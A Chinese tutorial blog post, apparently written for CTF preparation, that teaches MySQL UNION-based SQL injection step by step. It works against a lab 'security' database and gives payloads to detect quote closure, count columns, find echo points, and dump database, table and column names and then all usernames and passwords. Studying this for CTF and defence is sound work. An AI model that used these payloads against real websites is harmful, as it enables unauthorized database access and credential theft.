sql注入之union联合注入

本文探讨了SQL注入中的UNION联合注入技术,包括联合查询的概念、使用条件和注入流程。通过实例展示了如何判断注入类型、字段数、回显点,以及如何爆库名、表名、字段名和查询数据。对于信息安全防御和CTF学习具有指导意义。
部署运行你感兴趣的模型镜像

ps:21号祥云杯,为了避免连到都签不上,临时抱一波佛脚。
声明1:本文章使用的数据皆为官网公示,为保护信息已做打码
声明2:此系列文章仅用于CTF学习及信息安全防御技术,建议读者应用之前在 本地 搭建数据库或靶场等实践环境,在公网使用相关技术前请通读 《网络安全法》

union联合注入

上一篇大致说了sql注入的一些基本原理,这一篇说一说union的相关内容

联合查询

啥是联合查询

select a from b union select c from d where e;

大致就是这样 显然union会一次显示两个查询结果我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。

联合查询的使用条件

当页面对不同的查询语句有不同的结果时可以使用,因为我们根据需要每一步的返回结果来判断和进行下一步操作

union注入流程

比较固话的套路
依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据

判断注入类型

举个栗子

id=1
id=1'
id=1' --+

在这里插入图片描述在这里插入图片描述
在这里插入图片描述首先输入id为1,然后用单引号闭合发现报错 将单引号注释掉后恢复正常,其原因在上一篇中有提到,输入 ’ 后使得sql语句中多了一个单引号造成错误,而注释掉后面内容后又恢复正常,说明输入的单引号与前面的id=1也形成了一个闭合,因此可以判断注入类型为字符型,闭合方式为单引号

判断字段数

id=1' order by 1 --+

union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们要对字段数进行判断
我们使用的是 order by number 其作用为输出第number列 在这里插入图片描述可以看到此时页面正常,我们增加number直到报错,那么此时number-1即为字段数
在这里插入图片描述可见有3个字段

判断回显点

id=1' union select 1,2,3 limit 1,1 --+
id=-1' union select 1,2,3 --+

当我们知道该表的字段数之后,我们还需要确定在哪个字段出会输出有效信息 可以尝试一下 在这里插入图片描述可以看到我们在union select 后拼接了数字1,2,3 而此时我们看到还加入了limit 1,1 这是为什么呢?
联合查询的输出是严格按照顺序进行的,因此当id=1存在时会在第0行输出第一个sql语句查询到的结果,自然我们输入的数字就到了下一行
而 limit num1,num2的作用为从第num1行开始显示num2行内容

我们可以看到2,3被输出了,说明这两个位置都可以作为回显点
当然我们也可以不用limit语句,只需让前面sql语句查询结果为空即可 如图在这里插入图片描述

爆库名

可能判断的时候特殊情况还得留个心眼,但是下面就没啥好说的了,基本都是套路

id=-1' union select 1,database(),3 --+

在这里插入图片描述database()显示当前库名称
也可以使用group_concat() 将所有内容写入一行并输出

爆表名

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述解释一下payload:information_schema是mysql自带的库,记录了该数据库所有的表名和字段名
该句的含义为:查找数据库中security库下的所有表名
显然结果中的users十分关键

爆字段名

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

在这里插入图片描述同理 该payload可解释为:查询数据库security下表users中的所有字段,显然我们对结果中的uname与pwd很感兴趣

查数据

id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+

在这里插入图片描述0x5c是\的十六进制编码,为了将uname与pwd分开,也可改成其他任意字符
该payload意为:查询security库中users表中字段username与password的所有信息

这时候我们就拿到了我们需要的数据,注入基本完成

您可能感兴趣的与本文相关的镜像

Kotaemon

Kotaemon

AI应用

Kotaemon 是由Cinnamon 开发的开源项目,是一个RAG UI页面,主要面向DocQA的终端用户和构建自己RAG pipeline

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值